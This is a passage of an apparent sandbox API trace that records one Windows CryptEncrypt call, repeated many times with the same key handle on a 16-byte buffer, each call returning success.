pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.258] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, 